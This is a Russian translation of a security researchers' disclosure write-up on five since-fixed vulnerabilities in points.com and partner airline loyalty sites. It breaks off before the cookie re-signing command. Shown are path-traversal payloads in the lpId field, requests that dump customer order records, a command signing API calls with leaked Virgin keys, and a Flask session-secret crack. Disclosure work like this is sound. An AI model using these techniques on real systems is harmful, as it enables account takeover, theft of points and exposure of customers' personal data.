За период с марта по май 2023 года мы выявили множество уязвимостей безопасности на сайте points.com, бэкенд-провайдере множества бонусных программ авиакомпаний и гостиниц. Эти уязвимости позволяли атакующему получать доступ к чувствительной информации об аккаунтах клиентов. В том числе к именам, платёжным адресам, урезанной информации о кредитных картах, адресам электронной почты, телефонным номерам и записям о транзакциях.
Кроме того, атакующий мог использовать эти уязвимости для выполнения таких действий, как перенос бонусов из аккаунтов клиентов и получение неавторизованного доступа к веб-сайту глобального администрирования. Такой неавторизированный доступ давал атакующему все необходимые разрешения на выпуск бонусных баллов, управление бонусными программами, слежку за аккаунтами клиентов и выполнение различных административных функций.
После отправки отчёта об этих уязвимостях команда points.com отреагировала очень быстро, в течение часа подтвердив справедливость каждого отчёта. Она немедленно отключила затронутые веб-сайты, чтобы провести тщательное исследование, а затем пропатчила все выявленные проблемы. Все изложенные в этом посте уязвимости были устранены.
Общий обзор
В этом разделе мы приведём общий обзор уязвимостей. Технические подробности описаны в разделе «Исследование Points.com».
Атака обходом папок приводит к возможности запросов к базе данных о покупках клиентов Points.com (7 марта 2023 года)
Наш первый отчёт был посвящён неаутентифицированному обходу HTTP-путей, обеспечивающему доступ к внутреннему API, который позволил бы атакующему запрашивать записи из базы с 22 миллионами записями о покупках. В данных из этих записей содержались частичные номера кредитных карт, адреса, адреса электронной почты, телефонные номера, бонусные номера, токены авторизации клиентов и различные подробности о транзакциях. Эту информацию можно было запрашивать через вызов API, который на один HTTP-запрос возвращал сто записей. При помощи дополнительных параметров сортировки атакующий мог запрашивать конкретную часть информации (например, искать имя или адрес электронной почты клиента).
Возможность переноса бонусных баллов и утечки информации о клиентах при помощи лишь бонусного номера и фамилии (7 марта 2023 года)
Вторая уязвимость — это обход авторизации, который позволял атакующему забирать бонусные баллы у других пользователей, зная только их фамилию и бонусный номер (оба эти поля можно было получить при помощи первой уязвимости) благодаря неправильно настроенному API. Атакующий мог генерировать полные токены авторизации аккаунта, что позволяло управлять аккаунтами клиентов, просматривать историю заказов и платёжную информацию, а также забирать бонусные баллы у клиентов.
На два первых отчёта команда сервиса отреагировала меньше, чем за десять минут и сразу же вывела веб-сайты в офлайн. Проблемы были быстро устранены, и вскоре веб-сайты вернулись онлайн.
Утечка учётной информации авиакомпании в бонусной программе Virgin позволяла атакующему подписывать API-запросы от лица Virgin (прибавление/снятие бонусных баллов, доступ к аккаунтам клиентов, изменение параметров бонусной программы и так далее)
2 мая 2023 года мы обнаружили конечную точку на веб-сайте бонусных программ Virgin, который хостил points.com. Она позволяла выполнять утечку «macID» и «macKey», которые Virgin использовала для аутентификации базового API points.com от лица компании. Учётные данные можно было использовать для полной аутентификации от лица авиакомпании в API «lcp.points.com», подписывая HTTP-запросы раскрытым секретом. Это позволяло атакующему совершать любые API-вызовы, предназначенные для авиакомпании, например, модифицировать аккаунты клиентов, добавлять/снимать баллы или изменять параметры, связанные с бонусной программой Virgin.
Команда points.com всего за час отреагировала и устранила проблему.
Новый способ передачи авиамиль, доступа к аккаунту клиента, а также информации о заказах для участников United MileagePlus (29 апреля 2023 года)
29 апреля 2023 года мы выявили дополнительную четвёртую уязвимость, затронувшую конкретно авиакомпанию United Airlines. Атакующий мог генерировать токен авторизации для любого пользователя, зная лишь его бонусный номер и фамилию. Благодаря этой уязвимости атакующий мог и забирать мили себе и аутентифицироваться как участник во многих приложениях, связанных с MileagePlus, в том числе потенциально и в панели администратора MileagePlus. Эта уязвимость раскрывала имя участника, платёжный адрес, частичную информацию о кредитных картах, адрес электронной почты, телефонный номер и предыдущие транзакции в аккаунте.
После отправки отчёта о проблеме команда отрегировала меньше, чем за десять минут и немедленно отключила веб-сайт. Проблему быстро исправили, и вскоре после этого веб-сайт вернулся онлайн.
Полный доступ к панели глобального администрирования Points.com и панели администрирования кошельков программы лояльности при помощи слабого секрета сессии Flask (2 мая 2023 года)
2 мая 2023 года мы обнаружили, что секретом сессии Flask для веб-сайта глобального администрирования points.com, используемого для управления всеми аккаунтами пользователей авиакомпаний и клиентов, было слово «secret». Обнаружив эту уязвимость, мы смогли переподписать наши куки сессии, получив все права суперадминистратора.
Переподписав куки ролями, дающими полные права администратора, мы увидели, что получили доступ ко всей базовой функциональности администрирования веб-сайта, в том числе к поиску пользователей, ручному назначению бонусов, изменению курсов бонусных баллов (например, мы могли задать курс обмена между двумя программами так, чтобы один балл в одной программе давал бы вам миллион баллов в другой) и ко множеству других административных конечных точек points.com (например, для управления рекламными кампаниями, брендингом, для сброса учётных данных программ лояльности и так далее). Атакующий мог использовать этот доступ для удаления учётных данных бонусных программ и временного отключения функциональности системы бонусов авиакомпаний.
На наш последний отчёт об уязвимости команда отреагировала менее чем за час (хотя мы отправили его в 3:30 ночи по центральноамериканскому времени), выведя веб-сайт в офлайн и поменяв секрет.
Исследование Points.com
Учитывая то, что цена авиаперелётов в последнее время стала такой высокой, я всё глубже начал погружаться в изучение сообщества «накрутчиков» кредитных карт, занимающегося геймификацией кредитных карт и покупок для сохранения бонусных баллов, которые можно превратить в билеты на самолёты и аренду номеров в отелях. С точки зрения хакера очень любопытно наблюдать за системой, хранящей числовые значения, по сути, находящиеся в одном шаге от настоящей валюты. Чем больше я пользовался этими системами, тем интереснее мне становилось разобраться в том, как они работают, и узнать, какие же системы используются в индустрии бонусных программ.
Я отправил сообщение Иэну Кэрроллу, имевшему огромный опыт во взломе авиакомпаний и управлявшему веб-сайтом бонусных программ за покупку авиабилетов под названием seats.aero. Я выразил свой интерес к поиску уязвимостей в инфраструктуре бонусных программ. Немного пообщавшись, мы привлекли к работе Шубхама Шаха — ещё одного хакера, годами охотившегося за авиакомпаниями, и организовали групповой чат с целью поиска уязвимостей безопасности, затрагивающих экосистему бонусных баллов.
Когда мы начали своё исследование, то выяснили, что провайдером почти всех мировых крупных бонусных программ была компания под названием points.com. Все авиакомпании, которыми я летал, использовали для хранения и обработки бонусных баллов в качестве бэкенда points.com. Было похоже, что это лидер в данной сфере, и на его веб-сайте даже была страница security.txt.
Как всё это работает?
После нескольких часов поисков на Github и чтения документации points.com мы обнаружили, что существует API, предназначенный для использования бонусных программ и работающий на веб-сайте «lcp.points.com». Изучая публичные репозитории, мы обнаружили ссылку, напоминавшую документацию API «lcp.points.com», которую позже удалили из Интернета. К счастью для нас, копия нашлась на archive.org.
В архивированной документации API описывались способы аутентификации ползователей, вручения, передачи и траты баллов лояльности, а также многое другое.
Первым делом мы подумали: «Как нам получить доступ к использованию API от лица бонусной программы?». Немного изучив вопрос, мы обнаружили веб-сайт «console.points.com», позволявший выполнять публичную регистрацию бонусных программ и создавать скелеты аккаунтов, которые должны подтверждаться вручную.
После аутентификации на этом портале мы увидели, что существует административная консоль для бонусных программ, где можно инициализироваться при помощи приложений типа OAuth, а также управлять ими. Приложениям предоставлялись ключи API, взаимодействующие с «LCP API» (сокращение от «Loyalty Commerce Platform»), которым был хост «lcp.points.com».
Дальше мы изучили управлявший дэшбордом JavaScript. Выяснили, что веб-сайт «console.points.com» используется сотрудниками points.com для выполнения административных действий, касающихся аккаунтов клиентов, бонусных программ и управления компонентами самого веб-сайта.
Для взаимодействия с API, используемым бонусными программами для управления бонусами и аккаунтами клиентов (lcp.points.com), требовалось два ключа; оба ключа передавались при регистрации на веб-сайте console.points.com:
- macKeyIdentifier: по сути, это client_id OAuth
- macKey: по сути, это client_secret OAuth
При помощи этих двух переменных, которые мы получили, зарегистрировавшись на «console.points.com», мы могли подписывать HTTP-запросы к хосту «lcp.points.com» при помощи схемы аутентификации OAuth 2.0 MAC, а затем вызывать API платформы лояльности.
То, что платформа использовала такой вид авторизации, мешало нам, потому что означало, что нам придётся писать обёртку для подписания HTTP-запросов с целью фаззинга API и, что секретный ключ не будет включен в HTTP-запросы, передаваемые бонусными программами. Например, если бы мы нашли в программе авиакомпании уязвимость наподобие SSRF, то сам ключ не утёк бы к нам. Мы бы получили только сигнатуру конкретного HTTP-запроса, который пытается совершить авиакомпания.
Мы долгое время фаззили API (вручную подписывая каждый HTTP-запрос при помощи скрипта на Python), но не смогли найти ни одной уязвимости авторизации. Числовые ID других программ авиакомпаний найти было легко, но, к сожалению, мы не смогли найти базовых уязвимостей ядра API наподобие IDOR или повышения привилегий. Мы решили изменить подход, чтобы лучше понять, как публично доступная клиентская бонусная программа использует инфраструктуру points.com.
Исследование веб-сайта управления бонусами United Airlines
Так как в своей бонусной программе United Airlines использовала points.com, мы решили, что было бы интересно протестировать одно из её приложений, интегрированное с points.com. Мы обнаружили следующий домен MileagePlus, который использовался для покупки и передачи миль MileagePlus, а также для управления ими:
https://buymiles.mileageplus.com/united/united_landing_page/#/en-US
Немного пофаззив сайт, мы осознали, что веб-сайт «buymiles.mileageplus.com» на самом деле хостился не United Airlines, а на points.com. Стало очень любопытно, как веб-сайт работал с точки зрения авторизации, и мы начали тестировать функциональность сайта.
Мы продолжили изучать обычную работу веб-сайта «buymiles.mileageplus.com», и при попытке покупки миль наблюдали следующее:
- Нажимаем «Buy miles» на веб-сайте «buymiles.mileageplus.com».
- Видим, что происходит перенаправление на «www.united.com», где мы аутентифицируемся в поток типа OAuth, использовав имя пользователя и пароль United MileagePlus.
- Наблюдаем, что нас перенаправляют через параметр «redirect_uri» на «buymiles.mileageplus.com», который затем отправляет следующий HTTP-запрос при помощи токена авторизации, полученного при аутентификации с нашим именем пользователя и паролем на «www.united.com»:
HTTP-запросPOST /mileage-plus/sessions/sso HTTP/2 Host: buymiles.mileageplus.com Content-Type: application/json {"mvUrl":"www_united_com_auth_token"}
HTTP-запросHTTP/2 201 Created Content-type: application/json {"memberValidation": "points_com_user_auth_token"}
- На следующую конечную точку отправляется ещё один HTTP-запрос с использованием возвращённого токена «memberValidation» из показанного выше HTTP-ответа. «memberDetails» в новом запросе — это возвращённый токен «memberValidation»:
HTTP-запросPOST /payments/authentications/ HTTP/2 Host: buymiles.mileageplus.com Content-Type: application/json {"currency":"USD","memberDetails":"points_com_user_auth_token","transactionType":"buy_storefront"}
HTTP-ответHTTP/201 Created Content-type: application/json {"email": "<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="02677a636f726e6742656f636b6e2c616d6f">[email protected]</a>", "firstName": "Samuel", "lastName": "Curry", "memberId": "EH123456"}
После потока типа OAuth токен «memberValidation» использовался как токен авторизации пользователя авиакомпании на points.com. То есть, мы могли использовать этот токен многократно для выполнения API-вызовов и аутентификации в качестве пользователя.
Если мы сможем сгенерировать этот токен для другого пользователя, то у нас получится выполнять действия в его аккаунте — например, переносить мили и получать его личную информацию. После того, как мы узнали, как веб-сайт авиакомпании использует инфраструктуру points.com, это стало одной из наших целей и мы изучили этот вопрос подробнее.
(1) Неправильная авторизация в конечной точке получателя Points позволяет атакующему аутентифицироваться как любой пользователь при помощи лишь его фамилии и бонусного номера
Продолжив исследовать проблемы, которые бы позволили нам выполнить утечку чужого токена «memberValidation», мы нашли на веб-сайте United поток под названием «Buy miles for someone else» («Купить мили для другого человека»).
При переходе на эту страницу в качестве аутентифицированного пользователя MileagePlus она спрашивает: «Хотите ли вы добавить получателя, которому нужно отправить мили?». Поле ввода получателя выглядит как имя, фамилия и номер MileagePlus. При отправке HTTP-запроса для добавления получателя мы заметили в возвращённом ответе нечто крайне интересное:
HTTP-запрос
POST /mileage-plus/mvs/recipient HTTP/2
Host: buymiles.mileageplus.com
Content-Type: application/json
{"mvPayload":{"identifyingFactors":{"firstName":"Victim","lastName":"Victim","memberId":"EH123456"}},"lpId":"loyalty_program_uuid"}
HTTP-ответ
HTTP/2 201 Created
Content-type: application/json
{"memberId": "EH123456", "links": {"self": {"href": "points_com_user_auth_token"}}, "membershipLevel": "1"}
HTTP-ответ содержал токен авторизации участника, который, как мы ранее выяснили, используется для получения его информации и передачи миль от его лица!
Уязвимость работала так: при отправке имени, фамилии и бонусного номера через обычный UI веб-сайта для добавления получателя баллов сервер возвращал в HTTP-ответе токен авторизации, который можно использовать для извлечения платёжного адреса, телефонного номера, адреса электронной почты, частичной информации о кредитных картах и истории платежей. Также при помощи этого токена мы могли передавать мили от его лица.
Для использования этого токена достаточно было подставить его в один из API-вызовов на веб-сайте и выполнить действия, например, передать мили или просто получить личную информацию участника. Мы смогли полностью аутентифицироваться в аккаунт жертвы, зная только её фамилию и бонусный номер!
Эскалация уязвимости для влияния на другие бонусные программы
После обнаружения этой уязвимости мы могли получать доступ к аккаунтам клиентов, зная только их фамилию и бонусный номер; нам было интересно, есть ли другие конечные точки на сайте «buymiles.mileageplus.com», имевющие схожие проблемы с разрешениями, но не требующие от нас информации о пользователе (в тот момент найденный нами баг казался очень слабым)?
Мы заметили, что в исходном уязвимом HTTP-запросе для генерации токенов авторизации участников есть параметр «lpId». Согласно документации LCP API, этот параметр относился к UUID программы лояльности (например, Delta, United, Southwest и так далее). Оказалось, что API на веб-сайте United общается с тем же API, который использовали другие программы, например, Delta или Emirates.
Мы убедились, что эту уязвимость можно эксплойтить для доступа к аккаунтам клиентов других бонусных программ, заменяя UUID программы лояльности и бонусный номер пользователя на данные другой программы из первой уязвимости. При замене UUID лояльности и бонусного номера на данные клиента Delta нам возвращался токен авторизации жертвы в другой бонусной программе.
Любопытно, что это поведение также показывало, что обращение выполнялось к общему API points.com, который подключён ко всем программам лояльности, а не только к United Airlines.
Выполнив эскалацию проблемы до генерации токенов авторизации для любой авиакомпании, мы начали фаззить уязвимый HTTP-запрос и вскоре осознали, что параметр UUID программы лояльности отправлялся как аргумент HTTP-пути к проксированному HTTP-серверу.
Мы обнаружили это, понаблюдав за странным поведением, происходившим при добавлении вопросительного знака и символа фунта в конце параметра ID программы лояльности. Они ломали отправляемый сервером HTTP-ответ:
HTTP-запрос
POST /mileage-plus-transfer/mvs/recipient HTTP/1.1
Host: buymiles.mileageplus.com
{"mvPayload":{},"lpId":"0ccbb8ee-5129-44dd-9f66-a79eb853da73 #"} <-- добавлен символ фунта
HTTP-ответ
HTTP/1.1 400 Bad Request
Content-type: application/json
{"error":"Cannot process type 'text/html', expected 'application/json'"}
Мы сразу предположили, что параметр «lpId» отправляется API «lcp.points.com», а после добавления вопросительного знака он ломает HTTP-ответ, поэтому бэкенд не может интерпретировать HTTP-ответ от второго сервера. Мы хотели убедиться в этом, угадывая папки до и после UUID программы лояльности и наблюдая за тем, будет ли API по-прежнему работать нормально.
После тестирования мы убедились, что каждая из показанных ниже полезных нагрузок позволяет нам добавлять получателя обычным образом, а это дало нам понять, что HTTP-запрос на самом деле проксировался на второй HTTP-сервер. Мы пришли к такому выводу, прочитав документацию LCP API и понаблюдав, сколько из HTTP-запросов с UUID программ лояльности имеют предыдущую директорию «lps» и добавленную директорию «mvs». При отправке этих дополнительных директорий мы получали обычный HTTP-ответ 200 OK, а это значило, что мы можем пройти API насквозь и потенциально общаться с другими конечными точками API.
"lpId":"/0ccbb8ee-5129-44dd-9f66-a79eb853da73"
"lpId":"/../lps/0ccbb8ee-5129-44dd-9f66-a79eb853da73"
"lpId":"0ccbb8ee-5129-44dd-9f66-a79eb853da73/mvs/?"
"lpId":"/../lps/0ccbb8ee-5129-44dd-9f66-a79eb853da73/mvs/?"
Исходя из нашего понимания схемы аутентификации LCP API OAuth 2.0 MAC, мы решили, что если эти вторичные контекстные HTTP-запросы направлялись на хост «lcp.points.com», то они должны быть подписаны параметрами «macKey» и «macID» конкретных клиентов.
Однако очень странно и любопытно было то, что этот HTTP-запрос мог генерировать токены авторизации для любой бонусной программы. Когда мы попробовали сделать это самостоятельно при помощи предоставленных нам учётных данных «lcp.points.com», то получили ошибки авторизации, сообщающие, что у нас нет разрешения на доступ к конкретному маршруту.
Увидев, что HTTP-запрос может генерировать токены авторизации для любой бонусной программы, мы первым делом подумали, что веб-сайт United сервиса points.com (который был создан и хостится points.com) использовал в качестве носителя авторизации при отправке HTTP-запроса генерации токена авторизации участника points.com «god token», имеющий доступ ко всем бонусным программам.
Если бы это было так, и мы могли обойти API, то мы смогли бы переписать весь POST-запрос к любой конечной точке «lcp.points.com», имеющей глобальные разрешения. Дальше нам стало интересно найти конечную точку, к которой можно перейти, чтобы проверить, действительно ли HTTP-запрос подписан «god token».
(2) Обход папок в привилегированном API позволяет получить доступ 22 миллионам записей заказов клиентов бонусных программ Points.com
Чтобы проверить нашу теорию о том, что вторичный контекстный API может использовать токен авторизации с глобальными разрешениями, мы попытались найти другие конечные точки, к которым можно было перейти и переписать весь API-вызов, после чего мы могли бы контролировать весь HTTP-запрос. Взяв список конечных точек из документации LCP API, мы пропустили его через конфигурацию intruder, которая тестировала конкретную конечную точку добавленным "?", обрезающим оставшийся путь.
Например, чтобы попытаться найти нужную папку для "/api/example", мы отправляли следующие полезные нагрузки «lpId»:
"lpId":"/api/example?"
"lpId":"../api/example?"
"lpId":"../../api/example?"
В итоге, мы получили первый HTTP-ответ 200 OK для следующей полезной нагрузки:
HTTP-запрос
POST /mileage-plus-transfer/mvs/recipient HTTP/1.1
Host: buymiles.mileageplus.com
{"mvPayload":{},"lpId":"../../v1/search/orders/?"}
HTTP-ответ
HTTP/2 400 Bad Request
Content-type: application/json
{“error”:”Missing query parameter”}
Увидев, что не хватает параметра запроса, мы попытались сфаззить параметры GET через параметр «lpId» и добавить их (например, /v1/search/orders?query=x), но не смогли ничего найти. Это немного нас озадачило, но потом мы поняли, что конечная точка "/v1/search/orders" была POST-запросом, получающим тело JSON.
Мы увидели отправляемый нами пустой параметр «mvPayload» и попытались сфаззить параметры внутри тела JSON. Наш скрипт intruder выполнился, и мы увидели, что он оказался успешным и с большим размером ответа! Оказалось, что сервер искал параметр «q».
Отправив показанный ниже POST-запрос, мы смогли получить доступ ко всем данным транзакций для всех программ лояльности points.com, включая программы авиакомпаний Delta, Emirates, Singapore Airlines, United, Etihad, Air Canada, Lufthansa, Southwest, Alaska, Hawaiian, а также множества отелей с бонусными баллами наподобие Hilton, Marriott и IHG:
HTTP-запрос
POST /mileage-plus-transfer/mvs/recipient HTTP/1.1
Host: buymiles.mileageplus.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Content-Type: application/json
Content-Length: 59
Connection: close
{"mvPayload":{"q":"*"},"lpId":"../../v1/search/orders/?"}
HTTP-ответ
HTTP/1.1 200 OK
Date: Fri, 10 Mar 2023 00:02:04 GMT
Content-Type: application/json
{
"orders": [
{
"payment": {
"billingInfo": {
"cardName": "Visa",
"cardNumber": "XXXXXXXXXXXXXXXX",
"cardType": "VISA",
"city": "REDACTED",
"country": "US",
"expirationMonth": 7,
"expirationYear": 2023,
"firstName": "REDACTED",
"lastName": "REDACTED",
"phone": "REDACTED",
"state": "TX",
"street1": "REDACTED",
"zip": "REDACTED"
},
"costs": {
"baseCost": 275,
"fees": [],
"taxes": [],
"totalCost": 275
},
"currency": "USD",
"type": "creditCard"
},
"user": {
"balance": 94316,
"email": "REDACTED",
"firstName": "REDACTED",
"lastName": "REDACTED",
"memberId": "REDACTED",
"memberValidation": "https://lcp.points.com/v1/lps/LOYALTY_PROGRAM_ID/mvs/MEMBER_TOKEN",
"membershipLevel": "1"
},
"flightBookingDetails": {
"destinationCode": "MDW",
"destinationName": "Chicago (Midway), IL - MDW",
"originCode": "SDF",
"originName": "Louisville, KY - SDF",
"roundTrip": true
}
}
],
"totalCount": "22745869"
}
Как только мы увидели HTTP-ответ, то сразу сообщили о проблеме. Мы могли запросить 22 миллиона записей бонусных программ различных авиакомпаний и отелей. Оказалось, что «macKey» и «macID», подписывающие HTTP-запрос, были как бы «божественным ключом», имевшим доступ к данным всех бонусных программ.
Эта уязвимость затронула практически всех партнёров points.com.
Points.com нас поймал
Ещё до того, как мы успели завершить отправку отчёта и проверить доступность других конечных точек (например, для добавления баллов на бонусный аккаунт клиента), команда points.com заметила наше тестирование и полностью закрыла веб-сайт points.com компании United в продакшене. Жаль! Если бы мы были злоумышленниками, то нас бы поймали на попытке создания при помощи эксплойта списка любого достаточно существенного списка записей (запрос возвращал по 100 записей на запрос). Возможности по выявлению проблем и реагированию на них команды points.com серьёзно нас впечатлили.
Потестировав инфраструктуру points.com в течение нескольких дней, мы заинтересовались поиском уязвимости, которая позволила бы нам дублировать или генерировать бесконечные мили. Пока веб-сайт «buymiles.mileageplus.com» был отключен, мы начали изучать остальную инфраструктуру points.com.
(3) Утёкшие учётные данные бонусной программы Virgin позволяли атакующему подписывать API-запросы от лица Virgin, прибавлять/снимать бонусные баллы, получать доступ к аккаунтам клиентов
В процессе тестирования ресурсов points.com мы обнаружили веб-сайт, используемый клиентами бонусной программы Virgin для получения баллов при покупках на веб-сайтах партнёров по адресу «shopsaway.virginatlantic.com».
Этот веб-сайт был нам интересен, потому что хостился points.com и, скорее всего, использовал для доступа к информации, относящейся к бонусной программе, учётные данные или points.com, или Virgin.
Мы применили к этому ресурсу исследовательские инструменты и обнаружили множество конечных точек PHP, в том числе и конечную точку «login1.php», возвращавшую следующую информацию:
В HTTP-ответе конечной точки «login1.php» находилось нечто, напоминавшее тестовую информацию профиля участника бонусной программы, а также различные ключи.
Раскрытые ключи содержали токен авторизации клиента, а также, что гораздо интереснее, значения «macID» и «macKey» для аккаунта, который, как мы предполагали, принадлежал самой Virgin на веб-сайте points.com в продакшена!
Из своих знаний об API «lcp.points.com» мы сделали вывод, что можно было использовать эти секреты для доступа к API от лица авиакомпании. Мы начали искать способ проверить это. После долгих поисков в Интернете мы обнаружили следующий код, который можно было использовать для подписания HTTP-запросов к API «lcp.points.com» утекшими учётными данными:
if __name__ == '__main__':
if '-u' not in sys.argv:
exit("Usage: %s -u <macKeyIdentifier>:<macKey> [curl options...] <url>" % os.path.basename(__file__))
Воспользовавшись кодом из представленного выше репозитория Github, помогающего в подписании HTTP-запросов к «lcp.points.com», мы смогли использовать следующий синтаксис для отправки подписанных Virgin HTTP-запросов к API «lcp.points.com»:
python lcp_curl.py -u MAC_ID:MAC_SECRET "https://lcp.points.com/v1/search/orders/?limit=1000"
Выполнив показанный выше скрипт для подписания HTTP-запроса от лица бонусной программы Virgin к конечной точке "/v1/search/orders", мы получили в ответ следующую информацию:
{
"orders": [
{
"payment": {
"billingInfo": {
"cardName": "Visa",
"cardNumber": "XXXXXXXXXXXXXXXX",
"cardType": "VISA",
"city": "REDACTED",
"country": "US",
"expirationMonth": 4,
"expirationYear": 2023,
"firstName": "REDACTED",
"lastName": "REDACTED",
"phone": "REDACTED",
"state": "CA",
"street1": "REDACTED",
"zip": "REDACTED"
}
...
],
"totalCount": "2032431"
}
Сработало!
Это подтвердило, что утёкшие учётные данные были действительными и могли использоваться для доступа к бонусной программе Virgin. При помощи этих учётных данных атакующий мог обратиться к любой из конечных точек «lcp.points.com», в том числе к административным, позволяющим прибавлять/снимать бонусные баллы у клиентов, получать доступ к их аккаунтам и изменять информацию авиакомпании, относящуюся к бонусной программе Virgin.
Мы сообщили о проблеме, и в течение часа конечную точку отключили.
(4) Обход авторизации на «widgets.unitedmileageplus.com» позволял атакующему аутентифицироваться как любой пользователь по фамилии и бонусному номеру; потенциальный доступ к панели администрирования United MileagePlus
В программе баг-баунти United указано довольно много доменов, не охватываемых этой программой, в том числе и «mileageplus.com». Мы предположили, что они не охвачены программой, потому что многие из поддоменов «mileageplus.com» на самом деле управляются points.com.
Один из таких поддоменов сайта — это «widgets.unitedmileageplus.com», используемый в качестве SSO-сервиса, позволяющего участникам United MileagePlus аутентифицироваться в приложениях наподобие «buymiles.mileageplus.com» и «mpxadmin.unitedmileageplus.com».
Исследовав этот поддомен при помощи gau, мы обнаружили, что существует множество страниц авторизации, которые аутентифицируют пользователей в соответствующих приложениях MileagePlus.
На каждой из этих страниц авторизации использовались разные аргументы: некоторые запрашивали номер и пароль United MileagePlus, другие запрашивали имя пользователя, пароль и ответ на один из контрольных вопросов. И была одна очень странная форма, запрашивавшая только номер MileagePlus и фамилию.
Мы обнаружили, что возвращаемый всеми этими способами авторизации токен имел одинаковый формат. После тестирования выяснилось, что можно было скопировать токен HTTP-ответа, полученный при аутентификации только по фамилии и номеру MileagePlus, в более защищённые потребительские конечные точки, требовавшие имя пользователя, пароль и ответ на контрольный вопрос, после чего аутентифицироваться в любом из этих приложений!
Это означало, что мы нашли способ обхода авторизации, позволяющий пропустить этап входа в аккаунт по учётным данным участника, вместо них указав только фамилию и номер MileagePlus.
Благодаря этому обходу мы могли получить доступ к различным приложениям, в том числе и к «buymiles.mileageplus.com», в котором раскрывались личные данные и можно было переносить на свой аккаунт мили. Мы воспользовались этим эксплойтом для переноса миль с одного из наших собственных аккаунтов на другой, показав, что при помощи обхода авторизации это и в самом деле возможно.
Гораздо сильнее нас заинтересовало приложение веб-сайта «mpxadmin.unitedmileageplus.com», в котором мы могли аутентифицироваться (потенциально). Нам не удалось это проверить, потому что на момент обнаружения проблемы у нас не было фамилии и номера MileagePlus сотрудника United, который бы мог иметь доступ к приложению. Если бы они у нас были, то мы предполагаем, что на этом уровне доступа мы смогли бы управлять балансом счетов клиентов, просматривать транзакции и выполнять административные действия бонусной программы MileagePlus.
Так как мы не могли этого проверить, наша охота продолжилась!
Ищем что-то более критичное…
Святым Граалем для нас стала бы возможность генерировать бесконечные мили. Мы ни за что бы не стали пользоваться этой возможностью (по этическим причинам), но сама идея о том, что можно найти способ путешествовать по миру в бесплатном первом классе, останавливаться в пятизвёздочных отелях, посещать круизы и есть вкусную еду мотивировала нас…
Как мы представляли жизнь, в случае, если бы нашли уязвимость для генерации бесконечных бонусных баллов
Возвращаемся к охоте за консолью глобального администрирования Points.com
Поняв, что не сможем оказать больший эффект, охотясь на веб-сайты авиакомпаний, мы вернулись к исходному веб-сайту, который использовался сотрудниками points.com и владельцами бонусных программ для административного управления клиентами и бонусными программами.
Исходя из увиденного в JavaScript на веб-сайте «console.points.com», мы пришли к выводу, что есть множество конечных точек, доступ к которым имели только сотрудники points.com. Мы тестировали эти конечные точки ещё несколько часов, безуспешно пытаясь найти любой способ обхода авторизации или проверок разрешений. Спустя множество попыток повышения привилегий мы решили оценить общую картину и осознали нечто очевидное, что всё это время игнорировали…
(5) Полный доступ к базовой консоли администрирования Points.com и веб-сайту администратора программ лояльности при помощи слабого секрета сессии Flask
После того, как мы наконец перестали тестировать API и искать уязвимости разрешений, нас осенило, что мы совершенно забыли изучить куки сессий!
Судя по формату куки, это был какой-то странный зашифрованный блоб, потому что формат напоминал JWT. Немного поэкспериментировав, мы наконец осознали, что базовый токен сессии приложения — это подписанный куки сеанса Flask.
session=.eJwNyTEOgzAMBdC7eO6QGNskXCZKrG8hgVqJdEPcvX3ru6n5vKJ9PwfetFHCiCqwtYopo4NLiPOo4jYMuhizpJLV8oicilQF_qOeF_a104taXJg7bdHPiecHfX8ccg.ZFCriA.99lOhq3pO8yBWM7XjBshaKjqPKU
Мы обработали куки инструментом cookiemonster Иэна Кэрролла. Этот инструмент пытается автоматически угадать секреты, использованные для подписания куки, пробуя расшифровать его при помощи списка известных секретов. Спустя несколько секунд мы получили результат!
zlz@htp ~> cookiemonster -cookie ".eJwNyTEOgzAMBdC7eO6QGNskXCZKrG8hgVqJdEPcvX3ru6n5vKJ9PwfetFHCiCqwtYopo4NLiPOo4jYMuhizpJLV8oicilQF_qOeF_a104taXJg7bdHPiecHfX8ccg.ZFCriA.99lOhq3pO8yBWM7XjBshaKjqPKU"
???? CookieMonster 1.4.0
ℹ️ CookieMonster loaded the default wordlist; it has 38919 entries.
✅ Success! I discovered the key for this cookie with the flask decoder; it is "secret".
В качестве секрета сессии Flask для веб-сайта, используемого сотрудниками points.com для управления всеми бонусными профилями, программами лояльности и заказами клиентов, применялось слово «secret». Теоретически мы теперь могли подписать наш собственный куки с любыми данными, если сервер не добавлял в куки какие-то непредсказуемые или подписанные элементы данных. Мы аутентифицировались на веб-сайте и скопировали куки сессии, чтобы расшифровать и исследовать их содержимое:
{'_csrf_token': 'redacted', '_fresh': True, '_id': 'redacted', '_user_id': 'redacted', 'sid': 'redacted', 'user': {'authenticationType': 'account', 'email': '<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c3b0a2aeb4a0b6b1b1ba83a4aea2aaafeda0acae">[email protected]</a>', 'feature_flags': ['temp_resending_emails'], 'groups': [], 'id': 'redacted', 'mac_key': 'redacted', 'mac_key_identifier': 'redacted', 'roles': []}}
Исходя из того, что мы увидели в расшифрованном теле куки, в нём не было ничего непредсказуемого, ничего такого, что помешало бы нам подменить куки. Мы посчитали, что массивы «roles» и «groups» наиболее полезны для повышения привилегий, потому что теперь мы могли подписать их заново с любыми нужными нам данными. Поэтому мы вернулись к приложению и попытались найти JavaScript, связанный с этими полями.
Роль, которая на наш взгляд обладала наибольшими привилегиями, исходя из найденной в JavaScript информации, — это «configeditor». Мы добавили её в наш куки вместе с группой «admin» и подписали куки при помощи следующей команды:
